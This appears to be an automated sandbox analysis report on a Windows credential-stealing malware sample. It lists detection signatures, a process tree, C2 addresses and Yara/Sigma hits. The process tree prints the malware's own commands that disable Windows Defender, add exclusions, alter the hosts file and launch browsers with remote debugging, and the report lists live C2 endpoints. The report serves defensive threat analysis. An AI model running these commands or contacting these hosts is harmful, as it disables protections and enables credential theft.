Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1563394
MD5:	6b1c2cd2ec903e7deafeebde9bf8fa76
SHA1:	86e42568bc553434de430649f85c804e820b244f
SHA256:	5f23080097579060ce2606e5980045eacc19bf835e94a0d3a4691b55160cc4a8
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cerbfyne Stealer

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Poverty Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies the hosts file

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6B1C2CD2EC903E7DEAFEEBDE9BF8FA76)

chrome.exe (PID: 7672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2232,i,1000495704837630043,6149474201406527679,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3952 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5116 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2284,i,12294097546187704604,12774697374561452426,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8332 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGIJJKKJJD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBGIJJKKJJD.exe (PID: 4580 cmdline: "C:\Users\user\DocumentsBGIJJKKJJD.exe" MD5: 2063AD6746859BA2896E6D3BC7082FBC)

skotes.exe (PID: 8816 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 2063AD6746859BA2896E6D3BC7082FBC)

msedge.exe (PID: 1272 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7832 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8472 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6780 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9192 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8796 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 2063AD6746859BA2896E6D3BC7082FBC)

filer.exe (PID: 6368 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe" MD5: 9096F57FA44B8F20EEBF2008A9598EEC)

powershell.exe (PID: 5312 cmdline: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4944 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7308 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7600 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6076 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 8360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3044 cmdline: wmic cpu get Name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8688 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 8652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4600 cmdline: wmic csproduct get UUID MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 4512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

60114bff78.exe (PID: 5572 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009393001\60114bff78.exe" MD5: F5776B965778A92B20D7CDCC3ED87B8A)

Tq4a1Bz.exe (PID: 6656 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe" MD5: 9C433A245D7737CA7FA17490E460F14E)

conhost.exe (PID: 2548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Tq4a1Bz.exe (PID: 6856 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe" MD5: 9C433A245D7737CA7FA17490E460F14E)

Tq4a1Bz.exe (PID: 6488 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009399001\Tq4a1Bz.exe" MD5: 9C433A245D7737CA7FA17490E460F14E)

4edf09f764.exe (PID: 5900 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe" MD5: F33C80D517734DD30771A89966179C74)

6af0f0d802.exe (PID: 5360 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009401001\6af0f0d802.exe" MD5: 6B1C2CD2EC903E7DEAFEEBDE9BF8FA76)

1623118d84.exe (PID: 7448 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009402001\1623118d84.exe" MD5: B14552016D4A0E1CED552484ABDDD6AC)

taskkill.exe (PID: 7468 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

4edf09f764.exe (PID: 5188 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe" MD5: F33C80D517734DD30771A89966179C74)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": "https://blade-govern.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Poverty Stealer

{"C2 url": "185.244.212.106:2227"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["2vYIhome.twentykm20sr.top", "home.twentykm20sr.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000033.00000003.2843261065.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000032.00000003.2905287999.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.1938476402.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000034.00000003.3006606623.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000032.00000003.2875598408.00000000013D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.1894784789.0000000004950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1374560457.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000032.00000003.2915660072.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.1935284128.0000000000171000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
00000034.00000003.2973573438.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000032.00000003.2843235733.00000000013D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000000.2454696595.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
00000032.00000003.2850540663.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
00000032.00000003.2844588125.00000000013CF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000033.00000002.2891886425.00000000008A1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000032.00000003.2874047471.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3014238914.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1896494863.0000000000371000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000034.00000003.2983109130.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.1939050508.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000032.00000003.2905473008.00000000013D5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.2984067245.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.1979443470.00000000009A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000034.00000003.3083556418.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3079943383.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3097259649.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3097316159.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.2981871461.00000000011F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000031.00000002.2691407230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
00000034.00000003.3046554146.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000032.00000003.2813617447.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: filer.exe PID: 6368	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
Process Memory Space: Tq4a1Bz.exe PID: 6656	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
Process Memory Space: Tq4a1Bz.exe PID: 6488	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
Process Memory Space: 4edf09f764.exe PID: 5900	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4edf09f764.exe PID: 5900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4edf09f764.exe PID: 5900	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6af0f0d802.exe PID: 5360	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6af0f0d802.exe PID: 5360	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4edf09f764.exe PID: 5188	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4edf09f764.exe PID: 5188	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1623118d84.exe PID: 7448	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author
49.2.Tq4a1Bz.exe.400000.0.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
49.2.Tq4a1Bz.exe.400000.0.raw.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
44.2.Tq4a1Bz.exe.6a9fe8.1.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
44.2.Tq4a1Bz.exe.6a9fe8.1.raw.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
21.2.DocumentsBGIJJKKJJD.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.9a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.0.filer.exe.7ff7c9b50000.0.unpack	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
26.2.filer.exe.7ff7c9b50000.0.unpack	JoeSecurity_CerbfyneStealer	Yara detected Cerbfyne Stealer	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1009400001\4edf09f764.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8796, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4edf09f764.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, ParentProcessId: 6368, ParentProcessName: filer.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, ProcessId: 5312, ProcessName: powershell.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, ParentProcessId: 6368, ParentProcessName: filer.exe, ProcessCommandLine: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, ProcessId: 4944, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, ParentProcessId: 6368, ParentProcessName: filer.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe, ProcessId: 5312, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

